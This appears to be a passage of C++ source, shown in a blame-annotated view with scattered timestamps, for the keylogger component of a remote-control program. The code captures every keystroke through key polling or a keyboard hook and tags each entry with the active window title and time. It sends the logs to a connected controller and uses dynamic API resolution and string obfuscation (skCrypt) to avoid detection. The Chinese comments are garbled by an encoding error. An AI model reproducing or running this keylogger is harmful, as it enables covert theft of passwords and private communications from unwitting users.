|
|
KeyString = skCrypt("(");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
} else
|
|
|
|
|
|
KeyString = Key;
|
|
|
|
|
|
}
|
|
|
|
|
|
if (Key != VK_LBUTTON || Key != VK_RBUTTON) {
|
|
|
|
|
|
if (Key >=65 && Key <=90) { //ASCII 65-90 ΪA-Z
|
|
|
|
|
|
if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>A-Z
|
|
|
|
|
|
if(IS) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ұ<EFBFBD><D2B0><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD><EFBFBD>ΪСд<D0A1><D0B4>ĸ
|
|
|
|
|
|
KeyString = Key + 32;
|
|
|
|
|
|
else //ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>д<EFBFBD><D0B4>ĸ
|
|
|
|
|
|
KeyString = Key;
|
|
|
|
|
|
} else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:a-z
|
|
|
|
|
|
if(IS) {
|
|
|
|
|
|
KeyString = Key;
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Key = Key + 32;
|
|
|
|
|
|
KeyString = Key;
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
return KeyString;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
|
|
|
|
|
|
{
|
2025-06-26 02:07:00 +08:00
|
|
|
|
GET_PROCESS(DLLS[USER32], GetForegroundWindow);
|
|
|
|
|
|
HWND hFocus = (HWND)GetForegroundWindow();
|
2025-01-31 22:22:16 +08:00
|
|
|
|
BOOL ReturnFlag = FALSE;
|
|
|
|
|
|
if (hFocus != PreviousFocus) {
|
|
|
|
|
|
if (lstrlen(WindowCaption) > 0) {
|
|
|
|
|
|
if (hasData) {
|
|
|
|
|
|
SYSTEMTIME s;
|
|
|
|
|
|
GetLocalTime(&s);
|
2025-06-26 02:07:00 +08:00
|
|
|
|
sprintf(szText, _T("\r\n[<5B><><EFBFBD><EFBFBD>:] %s\r\n[ʱ<><CAB1>:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
|
2025-01-31 22:22:16 +08:00
|
|
|
|
WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
|
|
|
|
|
|
}
|
|
|
|
|
|
memset(WindowCaption, 0, CAPTION_SIZE);
|
|
|
|
|
|
ReturnFlag=TRUE;
|
|
|
|
|
|
}
|
|
|
|
|
|
PreviousFocus = hFocus;
|
2025-06-26 02:07:00 +08:00
|
|
|
|
GET_PROCESS_EASY(SendMessageA);
|
2025-01-31 22:22:16 +08:00
|
|
|
|
SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
|
|
|
|
|
|
}
|
|
|
|
|
|
return ReturnFlag;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam)
|
|
|
|
|
|
{
|
|
|
|
|
|
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
|
|
|
|
|
|
2025-06-26 02:07:00 +08:00
|
|
|
|
int pos = 0;
|
2025-01-31 22:22:16 +08:00
|
|
|
|
while(pThis->m_bIsWorking) {
|
2025-06-26 02:07:00 +08:00
|
|
|
|
if (!pThis->IsConnected()) {
|
|
|
|
|
|
pos = 0;
|
|
|
|
|
|
Sleep(1000);
|
|
|
|
|
|
continue;
|
2025-01-31 22:22:16 +08:00
|
|
|
|
}
|
2025-06-26 02:07:00 +08:00
|
|
|
|
int size = 0;
|
|
|
|
|
|
char* lpBuffer = pThis->m_Buffer->Read(pos, size);
|
|
|
|
|
|
if (size) {
|
|
|
|
|
|
int nRet = pThis->sendKeyBoardData((LPBYTE)lpBuffer, size);
|
|
|
|
|
|
delete[] lpBuffer;
|
2025-01-31 22:22:16 +08:00
|
|
|
|
}
|
2025-06-26 02:07:00 +08:00
|
|
|
|
Sleep(1000);
|
2025-01-31 22:22:16 +08:00
|
|
|
|
}
|
|
|
|
|
|
return 0;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2025-06-26 02:07:00 +08:00
|
|
|
|
|
|
|
|
|
|
int CALLBACK WriteBuffer(const char* record, void* user) {
|
|
|
|
|
|
CircularBuffer* m_Buffer = (CircularBuffer*)user;
|
|
|
|
|
|
m_Buffer->Write(record, strlen(record));
|
|
|
|
|
|
return 0;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
2025-01-31 22:22:16 +08:00
|
|
|
|
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
|
|
|
|
|
{
|
|
|
|
|
|
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
2025-06-26 02:07:00 +08:00
|
|
|
|
MSG msg;
|
2025-01-31 22:22:16 +08:00
|
|
|
|
TCHAR KeyBuffer[2048] = {};
|
|
|
|
|
|
TCHAR szText[CAPTION_SIZE] = {};
|
|
|
|
|
|
TCHAR WindowCaption[CAPTION_SIZE] = {};
|
|
|
|
|
|
HWND PreviousFocus = NULL;
|
2025-06-26 02:07:00 +08:00
|
|
|
|
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
|
2025-01-31 22:22:16 +08:00
|
|
|
|
while(pThis->m_bIsWorking) {
|
2025-06-26 02:07:00 +08:00
|
|
|
|
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
|
|
|
|
|
|
#if USING_KB_HOOK
|
|
|
|
|
|
ReleaseHook();
|
|
|
|
|
|
#endif
|
|
|
|
|
|
Sleep(1000);
|
|
|
|
|
|
continue;
|
|
|
|
|
|
}
|
2025-01-31 22:22:16 +08:00
|
|
|
|
Sleep(5);
|
2025-06-26 02:07:00 +08:00
|
|
|
|
#if USING_KB_HOOK
|
|
|
|
|
|
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
|
|
|
|
|
|
return -1;
|
|
|
|
|
|
}
|
|
|
|
|
|
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
|
|
|
|
|
#else
|
2025-01-31 22:22:16 +08:00
|
|
|
|
int num = lstrlen(KeyBuffer);
|
|
|
|
|
|
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
|
|
|
|
|
bool newWindowInput = strlen(szText);
|
|
|
|
|
|
if (newWindowInput){// <20><><EFBFBD>µĴ<C2B5><C4B4><EFBFBD><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
lstrcat(KeyBuffer, szText);
|
|
|
|
|
|
memset(szText, 0, sizeof(szText));
|
|
|
|
|
|
}
|
|
|
|
|
|
if (lstrlen(KeyBuffer) > 0) {
|
|
|
|
|
|
if (!newWindowInput)
|
|
|
|
|
|
lstrcat(KeyBuffer, _T("\r\n"));
|
|
|
|
|
|
const int offset = sizeof(_T("\r\n[<5B><><EFBFBD><EFBFBD>:]")) - 1;
|
|
|
|
|
|
memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
|
|
|
|
|
|
memcpy(KeyBuffer, _T("\r\n[<5B><><EFBFBD><EFBFBD>:]"), offset);
|
2025-06-26 02:07:00 +08:00
|
|
|
|
pThis->m_Buffer->Write(KeyBuffer, strlen(KeyBuffer));
|
2025-01-31 22:22:16 +08:00
|
|
|
|
memset(KeyBuffer,0,sizeof(KeyBuffer));
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
for(int i = 8; i <= 255; i++) {
|
|
|
|
|
|
if((GetAsyncKeyState(i)&1) == 1) {
|
2025-04-06 19:35:20 +08:00
|
|
|
|
std::string TempString = GetKey (i);
|
2025-01-31 22:22:16 +08:00
|
|
|
|
lstrcat(KeyBuffer,TempString.c_str());
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
2025-06-26 02:07:00 +08:00
|
|
|
|
#endif
|
2025-01-31 22:22:16 +08:00
|
|
|
|
}
|
|
|
|
|
|
return 0;
|
|
|
|
|
|
}
|
2025-06-26 02:07:00 +08:00
|
|
|
|
|
|
|
|
|
|
#endif
|